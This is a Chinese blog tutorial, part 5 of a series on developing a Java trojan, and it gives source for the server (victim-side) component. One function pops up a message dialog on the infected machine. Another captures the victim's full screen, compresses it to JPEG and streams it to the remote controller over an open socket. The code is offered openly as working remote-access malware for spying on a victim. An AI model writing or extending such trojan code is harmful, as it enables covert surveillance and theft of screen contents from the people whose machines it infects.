java 木马开发(5)---服务端 --- 对话框函数和截屏函数

来源:互联网 发布:如何下载淘宝红包 编辑:程序博客网 时间:2024/06/05 00:07

介绍了如何在服务端弹出一个对话框和截取服务端屏幕两个功能函数


显示对话框函数

void showDialog(String s) {

        new ShowDialogThread(s).start();  //启动一个线程  

    }


//线程类  采用的方式是继承Thread类
    class ShowDialogThread extends Thread {  
        String info;

        public ShowDialogThread(String s) {  //构造函数接收需要显示的参数
            this.info = s;
        }

        public void run() {
            JOptionPane.showMessageDialog(null, info);  //弹出对话框
        }
    }

===================================

截屏函数

void sendPic() {
        
        /* Rectangle指定坐标空间中的一块区域 从左上角(0,0)开始,
         * 然后用Toolkit函数获得本机系统的屏幕宽度和高度,这里是取得全屏的尺寸。
        */
        //使用Robot类获取屏幕 返回BufferedImage对象,利用这个对象可以很方便的对图像进行操作
        BufferedImage bi = robot.createScreenCapture(new Rectangle(0, 0,
                Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
        //将图像装到字节数组中
        byte[] imageData = getCompressedImage(bi);
        if (imageData != null) {  
            try {
                dos.writeUTF("2start"); //告诉控制端将要传输截屏图像了
                dos.writeInt(imageData.length);  //告诉控制端将要传输的图像的大小
                dos.write(imageData);//开始传输截屏图像
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }


//将图像装到字节数组中
    public byte[] getCompressedImage(BufferedImage image) {
        byte[] imageData = null;
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            //将生成的图像以jpg格式,写入到字节数组输出流
            ImageIO.write(image, "jpg", baos);
            //创建字节数组
            imageData = baos.toByteArray();
        } catch (IOException ex) {
            imageData = null;
        }
        return imageData;
    }




0 0
原创粉丝点击